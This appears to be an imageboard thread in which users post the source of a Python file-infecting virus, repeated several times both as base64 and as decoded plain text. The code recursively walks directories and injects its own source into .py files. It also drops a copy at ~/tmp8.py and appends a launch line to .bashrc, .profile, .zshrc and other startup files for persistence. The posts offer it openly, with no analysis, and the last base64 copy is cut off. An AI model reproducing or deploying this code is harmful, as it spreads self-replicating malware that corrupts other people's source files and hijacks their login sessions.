CmltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IHJhbmRvbSwgdGltZSwgc3lzLCBzdHJpbmcsIGluc3BlY3QsIHJlCmltcG9ydCBvcywgdHJhY2ViYWNrCgpjbGFzcyBWaXJpaSgpOgoKICAgIGRlZiBpbmZlY3Qoc2VsZiwgcGF0aCk6CiAgICAgICAgaW1wb3J0IG9zLCBzdHJpbmcKICAgICAgICAjcHJpbnQgIlRyeSB0byBpbmZlY3Q6ICVzIiAlIHBhdGgKICAgICAgICAjaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAjICAgIHByaW50ICJQcm9jZXNzaW5nOiAlcyIgJSBwYXRoCiAgICAgICAgbmwgPSBvcy5saW5lc2VwCiAgICAgICAgbGV0dGVycyA9IHN0cmluZy5sZXR0ZXJzCiAgICAgICAgaWYgb3MucGF0aC5nZXRzaXplKHBhdGgpID4gMTAwMDAwMDA6CiAgICAgICAgICAgIHJldHVybiBGYWxzZSAjIFNraXAgbGFyZ2UgZmlsZXMKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgpCiAgICAgICAgICAgIGZpbGVfY29udGVudCA9IGYucmVhZCgpCiAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAgICAgaWYgInB5dGhvbi12eCIgaW4gZmlsZV9jb250ZW50OgogICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgcHJpbnQgIkFscmVhZHkgaW5mZWN0ZWQ6ICVzIiAlIHBhdGgKICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIGZpbGVfY29udGVudCA9ICIiCiAgICAgICAgZGF0YSA9ICIiCiAgICAgICAgaSA9IDAKICAgICAgICBpbmZlY3RlZCA9IEZhbHNlCiAgICAgICAgI3ByaW50IGYKICAgICAgICBmLmZsdXNoKCkKICAgICAgICBvbGRfbGluZSwgb2xkX2xpbmUyID0gIiIsICIiCiAgICAgICAgZm9yIGwgaW4gZjoKICAgICAgICAgICAgaSArPSAxCiAgICAgICAgICAgIGlmIGk+MjAgYW5kIG5vdCBpbmZlY3RlZDoKICAgICAgICAgICAgICAgIGlmIChsWzBdIGluIGxldHRlcnMgYW5kICJ0cnkiIG5vdCBpbiBvbGRfbGluZTIpIGFuZCBvbGRfbGluZVswXSA9PSAiICIgb3Igb2xkX2xpbmVbMF0gPT0gIiMiOgogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBkYXRhICsgbmwrc2VsZi5teXNlbGYrbmwKICAgICAgICAgICAgICAgICAgICBpbmZlY3RlZCA9IFRydWUKICAgICAgICAgICAgZGF0YSA9IGRhdGEgKyBsCiAgICAgICAgICAgIG9sZF9saW5lMiA9IG9sZF9saW5lCiAgICAgICAgICAgIG9sZF9saW5lID0gbAogICAgICAgIGYuY2xvc2UoKQogICAgICAgIGlmIGluZmVjdGVkOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBmID0gb3BlbihwYXRoLCAidysiKQogICAgICAgICAgICAgICAgZi53cml0ZShkYXRhKQogICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50ICIlcyBJbmZlY3RlZCEiICUgcGF0aAogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgIGRlZiB3YWxrKHNlbGYsIHBhdGgpOgogICAgICAgIGltcG9ydCBvcwogICAgICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKHBhdGgpOgogICAgICAgICAgICBmb3IgZCBpbiBkaXJzOgogICAgICAgICAgICAgICAgaWYgbm90IGRbMF09PSIuIjoKICAgICAgICAgICAgICAgICAgICBmdWxsX2RpciA9IG9zLnBhdGguam9pbihyb290LCBkKQogICAgICAgICAgICAgICAgICAgIHNlbGYud2FsayhmdWxsX2RpcikKICAgICAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGZvciBmIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmKQogICAgICAgICAgICAgICAgaWYgbm90IGYuZW5kc3dpdGgoIi5weSIpOgogICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIlNraXBwIiwgcGF0aAogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIkluZmVjdCIsIHBhdGgKICAgICAgICAgICAgICAgICAgICBzZWxmLmluZmVjdChwYXRoKQogICAgZGVmIGFkZF9tZShzZWxmLCBwYXRoKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgsICdhJykKICAgICAgICAgICAgZi53cml0ZShjaHIoMTApKyJweXRob24gfi90bXA4LnB5ICYgIitjaHIoMTApKQogICAgICAgICAgICBmLmNsb3NlKCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIGlmIHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwcmludCAiQ2FuJ3Qgd3JpdGUgdG8gJXMgZmlsZSIgJSBiYXNocmMKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKCiAgICBkZWYgcnVuKHNlbGYpOgogICAgICAgIGltcG9ydCB0aHJlYWRpbmcsIGluc3BlY3QsIHN5cywgb3MKICAgICAgICBzZWxmLmRlYnVnID0gRmFsc2UKICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICBwcmludCAiVGhyZWFkczoiLCB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCkKICAgICAgICBpZiB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCk+MjoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50ICJUb28gbWFueSB0aHJlYWRzIgogICAgICAgICAgICByZXR1cm4gRmFsc2UKICAgICAgICBzZWxmLm15c2VsZiA9ICBpbnNwZWN0LmdldHNvdXJjZShEKStvcy5saW5lc2VwICsgaW5zcGVjdC5nZXRzb3VyY2UoYV9hKStvcy5saW5lc2VwKyJhX2EoKSIKICAgICAgICAjcHJpbnQgc2VsZi5teXNlbGYKICAgICAgICBzZWxmLndhbGsoIi4iKQogICAgICAgIGlmIG9zLm5hbWUgPT0gInBvc2l4IiBhbmQgc2VsZi5kZWJ1ZyA9PSBGYWxzZToKICAgICAgICAgICAgYmFzaHJjID0gIiVzLy5iYXNocmMiICUgb3MuZW52aXJvblsnSE9NRSddCiAgICAgICAgICAgIHRtcCA9ICAiJXMvdG1wOC5weSIgJSBvcy5lbnZpcm9uWydIT01FJ10KICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHModG1wKSBhbmQgbm90IHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgZiA9IG9wZW4odG1wLCAndysnKQogICAgICAgICAgICAgICAgICAgIGYud3JpdGUoc2VsZi5teXNlbGYpCiAgICAgICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIkNhbid0IGNyZWF0ZSB0bXAucHkgZmlsZSIKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgdHJhY2ViYWNrLmZvcm1hdF9leGMoKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZShiYXNocmMpCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy54c2Vzc2lvbiIgJSBvcy5lbnZpcm9uWydIT01FJ10pCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy5wcm9maWxlIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmtzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnpzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmNzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnhpbml0cmMiICUgb3MuZW52aXJvblsnSE9NRSddKQp0ID0gVmlyaWkoKQp0LnJ1bigpIAo=

>CmltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IHJhbmRvbSwgdGltZSwgc3lzLCBzdHJpbmcsIGluc3BlY3QsIHJlCmltcG9ydCBvcywgdHJhY2ViYWNrCgpjbGFzcyBWaXJpaSgpOgoKICAgIGRlZiBpbmZlY3Qoc2VsZiwgcGF0aCk6CiAgICAgICAgaW1wb3J0IG9zLCBzdHJpbmcKICAgICAgICAjcHJpbnQgIlRyeSB0byBpbmZlY3Q6ICVzIiAlIHBhdGgKICAgICAgICAjaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAjICAgIHByaW50ICJQcm9jZXNzaW5nOiAlcyIgJSBwYXRoCiAgICAgICAgbmwgPSBvcy5saW5lc2VwCiAgICAgICAgbGV0dGVycyA9IHN0cmluZy5sZXR0ZXJzCiAgICAgICAgaWYgb3MucGF0aC5nZXRzaXplKHBhdGgpID4gMTAwMDAwMDA6CiAgICAgICAgICAgIHJldHVybiBGYWxzZSAjIFNraXAgbGFyZ2UgZmlsZXMKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgpCiAgICAgICAgICAgIGZpbGVfY29udGVudCA9IGYucmVhZCgpCiAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAgICAgaWYgInB5dGhvbi12eCIgaW4gZmlsZV9jb250ZW50OgogICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgcHJpbnQgIkFscmVhZHkgaW5mZWN0ZWQ6ICVzIiAlIHBhdGgKICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIGZpbGVfY29udGVudCA9ICIiCiAgICAgICAgZGF0YSA9ICIiCiAgICAgICAgaSA9IDAKICAgICAgICBpbmZlY3RlZCA9IEZhbHNlCiAgICAgICAgI3ByaW50IGYKICAgICAgICBmLmZsdXNoKCkKICAgICAgICBvbGRfbGluZSwgb2xkX2xpbmUyID0gIiIsICIiCiAgICAgICAgZm9yIGwgaW4gZjoKICAgICAgICAgICAgaSArPSAxCiAgICAgICAgICAgIGlmIGk+MjAgYW5kIG5vdCBpbmZlY3RlZDoKICAgICAgICAgICAgICAgIGlmIChsWzBdIGluIGxldHRlcnMgYW5kICJ0cnkiIG5vdCBpbiBvbGRfbGluZTIpIGFuZCBvbGRfbGluZVswXSA9PSAiICIgb3Igb2xkX2xpbmVbMF0gPT0gIiMiOgogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBkYXRhICsgbmwrc2VsZi5teXNlbGYrbmwKICAgICAgICAgICAgICAgICAgICBpbmZlY3RlZCA9IFRydWUKICAgICAgICAgICAgZGF0YSA9IGRhdGEgKyBsCiAgICAgICAgICAgIG9sZF9saW5lMiA9IG9sZF9saW5lCiAgICAgICAgICAgIG9sZF9saW5lID0gbAogICAgICAgIGYuY2xvc2UoKQogICAgICAgIGlmIGluZmVjdGVkOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBmID0gb3BlbihwYXRoLCAidysiKQogICAgICAgICAgICAgICAgZi53cml0ZShkYXRhKQogICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50ICIlcyBJbmZlY3RlZCEiICUgcGF0aAogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgIGRlZiB3YWxrKHNlbGYsIHBhdGgpOgogICAgICAgIGltcG9ydCBvcwogICAgICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKHBhdGgpOgogICAgICAgICAgICBmb3IgZCBpbiBkaXJzOgogICAgICAgICAgICAgICAgaWYgbm90IGRbMF09PSIuIjoKICAgICAgICAgICAgICAgICAgICBmdWxsX2RpciA9IG9zLnBhdGguam9pbihyb290LCBkKQogICAgICAgICAgICAgICAgICAgIHNlbGYud2FsayhmdWxsX2RpcikKICAgICAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGZvciBmIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmKQogICAgICAgICAgICAgICAgaWYgbm90IGYuZW5kc3dpdGgoIi5weSIpOgogICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIlNraXBwIiwgcGF0aAogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIkluZmVjdCIsIHBhdGgKICAgICAgICAgICAgICAgICAgICBzZWxmLmluZmVjdChwYXRoKQogICAgZGVmIGFkZF9tZShzZWxmLCBwYXRoKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgsICdhJykKICAgICAgICAgICAgZi53cml0ZShjaHIoMTApKyJweXRob24gfi90bXA4LnB5ICYgIitjaHIoMTApKQogICAgICAgICAgICBmLmNsb3NlKCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIGlmIHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwcmludCAiQ2FuJ3Qgd3JpdGUgdG8gJXMgZmlsZSIgJSBiYXNocmMKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKCiAgICBkZWYgcnVuKHNlbGYpOgogICAgICAgIGltcG9ydCB0aHJlYWRpbmcsIGluc3BlY3QsIHN5cywgb3MKICAgICAgICBzZWxmLmRlYnVnID0gRmFsc2UKICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICBwcmludCAiVGhyZWFkczoiLCB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCkKICAgICAgICBpZiB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCk+MjoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50ICJUb28gbWFueSB0aHJlYWRzIgogICAgICAgICAgICByZXR1cm4gRmFsc2UKICAgICAgICBzZWxmLm15c2VsZiA9ICBpbnNwZWN0LmdldHNvdXJjZShEKStvcy5saW5lc2VwICsgaW5zcGVjdC5nZXRzb3VyY2UoYV9hKStvcy5saW5lc2VwKyJhX2EoKSIKICAgICAgICAjcHJpbnQgc2VsZi5teXNlbGYKICAgICAgICBzZWxmLndhbGsoIi4iKQogICAgICAgIGlmIG9zLm5hbWUgPT0gInBvc2l4IiBhbmQgc2VsZi5kZWJ1ZyA9PSBGYWxzZToKICAgICAgICAgICAgYmFzaHJjID0gIiVzLy5iYXNocmMiICUgb3MuZW52aXJvblsnSE9NRSddCiAgICAgICAgICAgIHRtcCA9ICAiJXMvdG1wOC5weSIgJSBvcy5lbnZpcm9uWydIT01FJ10KICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHModG1wKSBhbmQgbm90IHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgZiA9IG9wZW4odG1wLCAndysnKQogICAgICAgICAgICAgICAgICAgIGYud3JpdGUoc2VsZi5teXNlbGYpCiAgICAgICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIkNhbid0IGNyZWF0ZSB0bXAucHkgZmlsZSIKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgdHJhY2ViYWNrLmZvcm1hdF9leGMoKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZShiYXNocmMpCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy54c2Vzc2lvbiIgJSBvcy5lbnZpcm9uWydIT01FJ10pCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy5wcm9maWxlIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmtzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnpzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmNzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnhpbml0cmMiICUgb3MuZW52aXJvblsnSE9NRSddKQp0ID0gVmlyaWkoKQp0LnJ1bigpIAo=

>>280499



import threading
import random, time, sys, string, inspect, re
import os, traceback

class Virii():

def infect(self, path):
import os, string
#print "Try to infect: %s" % path
#if self.debug:
# print "Processing: %s" % path
nl = os.linesep
letters = string.letters
if os.path.getsize(path) > 10000000:
return False # Skip large files
try:
f = open(path)
file_content = f.read()
f.seek(0)
except:
if self.debug:
print traceback.format_exc()
return False
if "python-vx" in file_content:
if self.debug:
print "Already infected: %s" % path
f.close()
return False
file_content = ""
data = ""
i = 0
infected = False
#print f
f.flush()
old_line, old_line2 = "", ""
for l in f:
i += 1
if i>20 and not infected:
if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#":
data = data + nl+self.myself+nl
infected = True
data = data + l
old_line2 = old_line
old_line = l
f.close()
if infected:
try:
f = open(path, "w+")
f.write(data)
f.close()
if self.debug:
print "%s Infected!" % path
except:
if self.debug:
print traceback.format_exc()
return False

def walk(self, path):
import os
for root, dirs, files in os.walk(path):
for d in dirs:
if not d[0]==".":
full_dir = os.path.join(root, d)
self.walk(full_dir)
pass
for f in files:
path = os.path.join(root, f)
if not f.endswith(".py"):
pass
#print "Skipp", path
else:
#print "Infect", path
self.infect(path)
def add_me(self, path):
try:
f = open(path, 'a')
f.write(chr(10)+"python ~/tmp8.py & "+chr(10))
f.close()
except:
if self.debug:
print "Can't write to %s file" % bashrc
print traceback.format_exc()

def run(self):
import threading, inspect, sys, os
self.debug = False
if self.debug:
print "Threads:", threading.active_count()
if threading.active_count()>2:
if self.debug:
print "Too many threads"
return False
self.myself = inspect.getsource(D)+os.linesep + inspect.getsource(a_a)+os.linesep+"a_a()"
#print self.myself
self.walk(".")
if os.name == "posix" and self.debug == False:
bashrc = "%s/.bashrc" % os.environ['HOME']
tmp = "%s/tmp8.py" % os.environ['HOME']
if os.path.exists(tmp) and not self.debug:
pass
else:
try:
f = open(tmp, 'w+')
f.write(self.myself)
f.close()
except:
if self.debug:
print "Can't create tmp.py file"
print traceback.format_exc()
else:
self.add_me(bashrc)
self.add_me("%s/.xsession" % os.environ['HOME'])
self.add_me("%s/.profile" % os.environ['HOME'])
self.add_me("%s/.kshrc" % os.environ['HOME'])
self.add_me("%s/.zshrc" % os.environ['HOME'])
self.add_me("%s/.cshrc" % os.environ['HOME'])
self.add_me("%s/.xinitrc" % os.environ['HOME'])
t = Virii()
t.run()

>>280499
prosto, ты что заплакал то?

mltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IHJhbmRvbSwgdGltZSwgc3lzLCBzdHJpbmcsIGluc3BlY3QsIHJlCmltcG9ydCBvcywgdHJhY2ViYWNrCgpjbGFzcyBWaXJpaSgpOgoKICAgIGRlZiBpbmZlY3Qoc2VsZiwgcGF0aCk6CiAgICAgICAgaW1wb3J0IG9zLCBzdHJpbmcKICAgICAgICAjcHJpbnQgIlRyeSB0byBpbmZlY3Q6ICVzIiAlIHBhdGgKICAgICAgICAjaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAjICAgIHByaW50ICJQcm9jZXNzaW5nOiAlcyIgJSBwYXRoCiAgICAgICAgbmwgPSBvcy5saW5lc2VwCiAgICAgICAgbGV0dGVycyA9IHN0cmluZy5sZXR0ZXJzCiAgICAgICAgaWYgb3MucGF0aC5nZXRzaXplKHBhdGgpID4gMTAwMDAwMDA6CiAgICAgICAgICAgIHJldHVybiBGYWxzZSAjIFNraXAgbGFyZ2UgZmlsZXMKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgpCiAgICAgICAgICAgIGZpbGVfY29udGVudCA9IGYucmVhZCgpCiAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAgICAgaWYgInB5dGhvbi12eCIgaW4gZmlsZV9jb250ZW50OgogICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgcHJpbnQgIkFscmVhZHkgaW5mZWN0ZWQ6ICVzIiAlIHBhdGgKICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIGZpbGVfY29udGVudCA9ICIiCiAgICAgICAgZGF0YSA9ICIiCiAgICAgICAgaSA9IDAKICAgICAgICBpbmZlY3RlZCA9IEZhbHNlCiAgICAgICAgI3ByaW50IGYKICAgICAgICBmLmZsdXNoKCkKICAgICAgICBvbGRfbGluZSwgb2xkX2xpbmUyID0gIiIsICIiCiAgICAgICAgZm9yIGwgaW4gZjoKICAgICAgICAgICAgaSArPSAxCiAgICAgICAgICAgIGlmIGk+MjAgYW5kIG5vdCBpbmZlY3RlZDoKICAgICAgICAgICAgICAgIGlmIChsWzBdIGluIGxldHRlcnMgYW5kICJ0cnkiIG5vdCBpbiBvbGRfbGluZTIpIGFuZCBvbGRfbGluZVswXSA9PSAiICIgb3Igb2xkX2xpbmVbMF0gPT0gIiMiOgogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBkYXRhICsgbmwrc2VsZi5teXNlbGYrbmwKICAgICAgICAgICAgICAgICAgICBpbmZlY3RlZCA9IFRydWUKICAgICAgICAgICAgZGF0YSA9IGRhdGEgKyBsCiAgICAgICAgICAgIG9sZF9saW5lMiA9IG9sZF9saW5lCiAgICAgICAgICAgIG9sZF9saW5lID0gbAogICAgICAgIGYuY2xvc2UoKQogICAgICAgIGlmIGluZmVjdGVkOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBmID0gb3BlbihwYXRoLCAidysiKQogICAgICAgICAgICAgICAgZi53cml0ZShkYXRhKQogICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50ICIlcyBJbmZlY3RlZCEiICUgcGF0aAogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgIGRlZiB3YWxrKHNlbGYsIHBhdGgpOgogICAgICAgIGltcG9ydCBvcwogICAgICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKHBhdGgpOgogICAgICAgICAgICBmb3IgZCBpbiBkaXJzOgogICAgICAgICAgICAgICAgaWYgbm90IGRbMF09PSIuIjoKICAgICAgICAgICAgICAgICAgICBmdWxsX2RpciA9IG9zLnBhdGguam9pbihyb290LCBkKQogICAgICAgICAgICAgICAgICAgIHNlbGYud2FsayhmdWxsX2RpcikKICAgICAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGZvciBmIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmKQogICAgICAgICAgICAgICAgaWYgbm90IGYuZW5kc3dpdGgoIi5weSIpOgogICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIlNraXBwIiwgcGF0aAogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIkluZmVjdCIsIHBhdGgKICAgICAgICAgICAgICAgICAgICBzZWxmLmluZmVjdChwYXRoKQogICAgZGVmIGFkZF9tZShzZWxmLCBwYXRoKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgsICdhJykKICAgICAgICAgICAgZi53cml0ZShjaHIoMTApKyJweXRob24gfi90bXA4LnB5ICYgIitjaHIoMTApKQogICAgICAgICAgICBmLmNsb3NlKCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIGlmIHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwcmludCAiQ2FuJ3Qgd3JpdGUgdG8gJXMgZmlsZSIgJSBiYXNocmMKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKCiAgICBkZWYgcnVuKHNlbGYpOgogICAgICAgIGltcG9ydCB0aHJlYWRpbmcsIGluc3BlY3QsIHN5cywgb3MKICAgICAgICBzZWxmLmRlYnVnID0gRmFsc2UKICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICBwcmludCAiVGhyZWFkczoiLCB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCkKICAgICAgICBpZiB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCk+MjoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50ICJUb28gbWFueSB0aHJlYWRzIgogICAgICAgICAgICByZXR1cm4gRmFsc2UKICAgICAgICBzZWxmLm15c2VsZiA9ICBpbnNwZWN0LmdldHNvdXJjZShEKStvcy5saW5lc2VwICsgaW5zcGVjdC5nZXRzb3VyY2UoYV9hKStvcy5saW5lc2VwKyJhX2EoKSIKICAgICAgICAjcHJpbnQgc2VsZi5teXNlbGYKICAgICAgICBzZWxmLndhbGsoIi4iKQogICAgICAgIGlmIG9zLm5hbWUgPT0gInBvc2l4IiBhbmQgc2VsZi5kZWJ1ZyA9PSBGYWxzZToKICAgICAgICAgICAgYmFzaHJjID0gIiVzLy5iYXNocmMiICUgb3MuZW52aXJvblsnSE9NRSddCiAgICAgICAgICAgIHRtcCA9ICAiJXMvdG1wOC5weSIgJSBvcy5lbnZpcm9uWydIT01FJ10KICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHModG1wKSBhbmQgbm90IHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgZiA9IG9wZW4odG1wLCAndysnKQogICAgICAgICAgICAgICAgICAgIGYud3JpdGUoc2VsZi5teXNlbGYpCiAgICAgICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIkNhbid0IGNyZWF0ZSB0bXAucHkgZmlsZSIKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgdHJhY2ViYWNrLmZvcm1hdF9leGMoKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZShiYXNocmMpCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy54c2Vzc2lvbiIgJSBvcy5lbnZpcm9uWydIT01FJ10pCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy5wcm9maWxlIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxm